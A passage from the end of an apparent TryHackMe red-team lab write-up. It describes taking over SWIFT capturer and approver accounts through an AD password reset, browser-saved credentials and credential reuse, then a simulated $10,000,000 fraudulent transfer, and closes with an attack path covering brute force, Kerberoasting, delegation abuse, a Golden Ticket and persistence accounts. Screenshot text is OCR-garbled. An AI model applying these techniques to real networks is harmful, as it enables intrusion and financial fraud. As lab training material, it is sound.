Sl ) swift - Notepad - O X

& Downloads
File Edit Format View Help

=] Pictures #* Welcome approverto the SWIFT team.

vagrant
T You're credentials have been activated.

P\s you are an approver, this has to be a unique password and AD replication is disallowed.

I ThisPC
You can access the SWIFT system here: http://swift.bank.thereserve.loc

=¥ Network
< >

Windows (CRLF) Ln4, Col1 100%
Titem 1 itd Tosk View |242 bytes E=

Figure 86 - Note for the approver



This note implies that their SWIFT bank web application credentials should be different from the Active
Directory ones, which means that their credentials might be saved inside the JMP machine.

Since the Active Directory password for this user is not relevant (and hashcat could not crack it), we can
just change it in the Active Directory Users and Computers snap-in (option Reset Password):
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~ Tl ¥ = == . =
l2E 4B XEd HEIPaETES

[ Active Directory Users and Com|| pame Type Description
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=1 Admins &, zjones Reset Password

4 Buittin A

" Computers

Action

2 Active Direct
~ @3 theresen|
79 bank
3 comp.

User

& alawrence
1 Domain Controllers & c.mckencie
B Employess R arees Gt |.........|

= Back-Office Bariey

51 Front-Office R sroberts
= 2, astokes The user must logoff and then logon again for the change to take effect
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1 Unix 2, c.daly Cancel
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Figure 87 - Reset the a.holt user's password

After that, we can login in the JMP machine as the user, with the newly assigned password:



rporation. All rights

stname

Activate Windows

to Settings to a

Figure 88 - Access to the JMP machine as a.holt

Accessing the web application in the browser, we can see that the credentials are stored in it:

The Reserve Online x The Reserve + ~ b
& C @ Chrome | chrome://settings/passwords = % 0O
G Se‘ttings Q, Search settings
2 Youand Google € Password Manager @
B Autofill
. " Create, save, and manage your passwords so you can easily sign in to sites and apps
@  Privacy and security
@  Appearance Offer to save passwords .
Q. Search engine Auto Sign-in
Automatically sign in to sites and apps using saved credentials. If turned off, you'll be asked for &
BD  Default browser confirmation every time before signing in to a site or app
()  Onstartup

Check passwords
ds safe from data breaches and other security issues

@ Languages
&  Downloads Saved Passwords
T Accessibility site Username Password
System
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Reset settings

Never Saved

¥

Extensions [

swift.bank.thereserve.loc
About Chrome

&

Figure 89 — Saved browser credentials after login

And we are able to access the Dashboard as an Approver:
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Figure 90 - Dashboard of the Approver

Since we manage to crack the c.young password, we can try to login to his workstation and see if manage

workl.bank thereserve.loc

to find stored credentials as well
on. All right

Activate Wind
s to

Go to Setting:

Figure 91 — Access to WORK1 machine as c.young

Unfortunately, there are no stored credentials for the web application in the browser



The Reserve Online x
< C @ Chrome | chrome://settings/passwords e % 0O &
G Settings Q, search settings
2 Youand Google € Password Manager (®  Q Searchpasswords
Autofill

g R Create, save, and manage your passwords so you can easily sign in to sites and apps.
Privacy and security

Fr S O

Performance Offer to save passwords .
@  Appearance Auto Sign-in
Automatically sign in to sites and apps using saved credentials. If turned off, you'll be asked for .
Q. Search engine confirmation every time before signing in to a site or app.
B Default browser Check passwords ,
Keep your passwords safe from data breaches and other security issues
¢(\) Onstartup
@ Languages Saved Passwords Add i
%  Downloads Saved passwords will appear here. Import passwords
T Accessibility
Never Saved
R System

Sites which never save passwords will appear here

O

Reset settings

Windaws,

t ]

Extensions [}

Figure 92 - No stored credentials

However, by trying the Active Directory Credentials in the application, we manage to login as a Capturer:
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Figure 93 - Dashboard of the Capturer (C.Young)

Also, by looking in the c.young documents folder, we can find a note stating that the credentials of the
application were replicated from the Active Directory:
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Figure 94 - Note for the capturer

With this, we managed to get access to an employee with Capturer role and an employee with Approver
role, to execute a transfer successfully.



10.1. Goal execution
Sometimes, in real engagement, being a Domain Admin is not enough, because you need to
demonstrate the risk and impact of compromising those assets.

Usually, it is a client’s responsibility to perform a Risk Assessment based on Vulnerability Assessments,
Penetration Tests and Red Team Engagements done through the entire year (depending on the cyber
security posture of the client). But in order to perform it correctly, the impact and severity of the findings
need to be documented and explained.

Although we do not have to identify every single vulnerability in this exercise, we need to show the
impact of our actions, by performing a fraudulent transfer, which requires both the Capturer and
Approver access.

We start by logging into the application with our provided test credentials:

The Reserve Online x =+ - a

&« C A Motsecure | swiftbankthereserveloc/ Q =2 % 0O &

C = |
™ = PIN Confirmation J

Figure 95 — Log In with your account



As requested, we perform a new transaction of 10 000 000 dollars, using the provided SenderID and
ReceiverlD:

ca
o e
™ i PIN Confirmation 3

Transactions
New Transaction!
Sender Receiver Amount
64630300c0152f0cd035f2b3 646a0302c015260cd03512b4 10000004 =

Figure 96 — Transfer according to e-citizen parameters

As the transaction is requested successfully, we receive a PIN number in our provided email address:

[
TH vE PIN Confirmation ‘3

Transactions

[ © Check your email for the confirmation PIN number! I

New Transaction!

Sender Receiver Amount

Figure 97 — Check your email for the PIN



Now, we should confirm the transaction using the PIN number received:

6
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Figure 98 — Confirm your transaction with PIN number
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Figure 99 — Transaction Confirmed



Now, accordingly to the implementation of the SWIFT backend, an employee with the capturer role
should authenticate to the SWIFT application, capture and forward the transaction:
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Figure 100 — Forward the transaction

The Reserve Online b3 +

&« & A Nclsecure| swift.bank thereserve.loc/transactions Q ©» W o & H

swift.bank.thereserve.loc says

Are you sure you want to forward the transaction?

“ el

-1
Bty r——
R~

PIN Status: Confirmed

Amount: $10,000,000

Transaction ID: 646a03d9e2710ac5646c51e8

T
ﬁ B From: d29f5b32
_~/

PIN Status: Confirmed
Forwarded: Yes

Status:
Amount: $1

T Transaction ID: 646a0443d4dd286d62a29¢ce5
ﬁ B F 631f60a3311625c0d29f5b31
T 620! 35f2b3
~ atus: Confirmed
Forwarded: Yes
Stat ompleted
Amount: $1

Figure 101 — Confirming the forward



Lastly, an employee with the Approver role should authenticate to the SWIFT application, reviewing the
transaction details and approve it. This action should be performed from a jump host:
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Figure 102 — Approve the transaction
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Figure 103 — Confirm the approval



And we have achieved full network compromise, while performing the goal execution and showing the
impact of the compromise:

Network state:

Figure 104 - Full Network Compromise

NOTE: We are now able to obtain the following flags, by following the instructions in the e-citizen
platform:

e Flag 18, Access to SWIFT application as capturer
o Flag 19, Access to SWIFT lication rover

e Flag 20, Simulated fraudulent transfer made




11. Conclusions

I've managed to compromise the entire domain and achieve goal execution in the first four days of the
challenge. In order to keep this write-up simple, a lot of the failed enumeration and exploitation
processes were not described here.

Although | had to use some external tools in order to accomplish the compromise (SpoolSample and
BloodHound), I've managed to use mostly the tools provided in the challenge or Windows tools and
features.

This is, hands down, one of the best labs and challenges I've made in TryHackMe since I've registered
(August 2020). I've learned a lot, since there were a couple of attack venues that | never had the chance
of trying.

During the engagement there were other attack paths that I've identified but decided not to provide in
this write-up, especially since | didn’t test them or had to abandon them due to time constraints,
network issues or just because other paths sounded more achievable.

In the end, I've had a blast doing this engagement, and | hope that TryHackMe continues to release this
type of content, due to the learning and practicality that it provides.

11.1. Attack Path

1. Identified usernames through OSINT in the web server

2. Created a list of potential passwords based in the policies and base list provided

3. lIdentified a vulnerable service that allowed a brute force attack (SMTP)
3.1. Obtained 2 sets of credentials (laura.wood and mohammad.ahmed)

4. Used the exposed VPN server with the compromised credentials to get a foothold in the internal
network
4.1. Downloaded 2 .ovpn files (laura.wood and mohammad.ahmed)

5. Exploited a misconfigured schedule task in order to obtain local administration in the machine
(FULLSYNC)

6. Used a Kerberoast attack to compromise a service user with SPN (svcScanning)

7. Lateral movement to Serverl through RDP

8. Abuse of Unconstrained Delegation to compromise Domain Administrator

9. Lateral movement to CORPDC through RDP with Restricted Admin

10. Used a Golden Ticket attack to abuse Kerberos and obtain Enterprise Admin

11. Lateral Movement to ROOTDC through RDP

12. Creation of user to maintain persistence

1.1. Created user in ROOT and CORP domains

Lateral movement to BANKDC through RDP

Full compromise of the BANK domain and creation of user in BANK domain to maintain persistence

Compromise of the SWIFT users

Compromise of the SWIFT payment system

Goal Execution
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